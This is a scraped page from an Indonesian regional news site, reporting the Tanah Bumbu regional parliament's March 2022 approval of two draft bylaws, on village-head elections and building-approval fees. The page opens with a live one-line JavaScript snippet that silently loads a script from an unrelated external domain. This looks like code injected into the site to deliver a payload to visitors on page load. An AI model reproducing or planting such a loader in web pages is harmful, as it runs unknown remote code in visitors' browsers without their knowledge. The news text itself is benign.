(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Pimpin Rapat Paripurna, Wakil Ketua II DPRD Tanah Bumbu Agoes Rakhmady didampingi Wakil Ketua I DPRD Tanah Bumbu Sayid Ismail Khollil Alydrus bahas pengambilan keputusan dua Rancangan Peraturan Daerah (Raperda), Senin (21/3/2022).
Fraksi PDI Perjuangan, tampil pertama kali dengan menyampaikan sikap menyetujui terhadap Raperda Pemilihan Pengangkatan Pemberhentian Kepala Desa dan Retribusi Persetujuan Bangunan Gedung.
Melalui juru bicara Abdul Rahim, Fraksi PDI Perjuangan menyebut, terkait Raperda Pemilihan Pengangkatan dan Pemberhentian Kepala Desa adalah Perda yang bersentuhan langsung dengan masyarakat, maka diharapkan agar disosialisasikan kepada masyarakat dengan sejelas-jelasnya.
Selanjutnya, Fraksi Gerindra melalui juru bicara, Sayono Said dalam kesempatan itu langsung menyatakan menerima dan setuju Raperda yang dimaksud untuk dijadikan Peraturan Daerah.
Baca juga : Misbar Banjarbaru Resmi Operasional, Awal Kebangkitan Perfilman Banua
Sementara itu, dari Fraksi Golongan Karya melalui juru bicara Paturrahman mengatakan, berdasarkan hasil rapat internal Fraksi Golongan Karya, maka disepakati untuk menerima dua Raperda tersebut menjadi Peraturan Daerah Kabupaten Tanah Bumbu.
Kemudian disampaikan oleh Fraksi Partai Kebangkitan Bangsa melalui juru bicara Tarmiji mengatakan, terkait Perda Pemilihan pengangkatan dan Pemberhentian Kepala Desa harus berjalan maksimal dan dibarengi pula dengan Peraturan Bupati.
Begitu pula dengan Perda Persetujuan Bangunan Gedung, Fraksi Golkar meminta segera menyosialisasikan dan menyusun Perbup agar dalam pelaksanaannya bisa berjalan efektif.
Fraksi Golkar menerima dan menyetujui Raperda dilanjutkan menjadi Peraturan Daerah.
Kesempatan terakhir, Fraksi Amanat Nasional Demokrat melalui juru bicara Hj Hamsiah mengatakan, setelah membaca dan mencermati jawaban pihak eksekutif terhadap dua Raperda, maka Fraksi Amanat Nasional Demokrat menerima dan menyetujui dua Raperda menjadi Peraturan Daerah Kabupaten Tanah Bumbu.
Baca juga : Seragamkan Penggunaan Sirine, MUI HSU Gelar Rakor Kesepakatan Jadwal Imsakiyah Ramadhan
Dalam pernyataannya, pimpinan rapat saat itu kembali menegaskan lima Fraksi di DPRD Tanah Bumbu dapat menerima dan sepakat dua Raperda tersebut dapat ditetapkan menjadi Perda.
Terlihat hadir dalam Rapat Paripurna tersebut, Sekdakab Tanbu Dr. H. Ambo Sakka beserta jajaran Pimpinan SKPD Lingkup Pemkab Tanbu, unsur Forkopimda Tanbu, Instansi Vertikal, pihak Perbankan dan Perusda Tanbu serta undangan lainnya. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.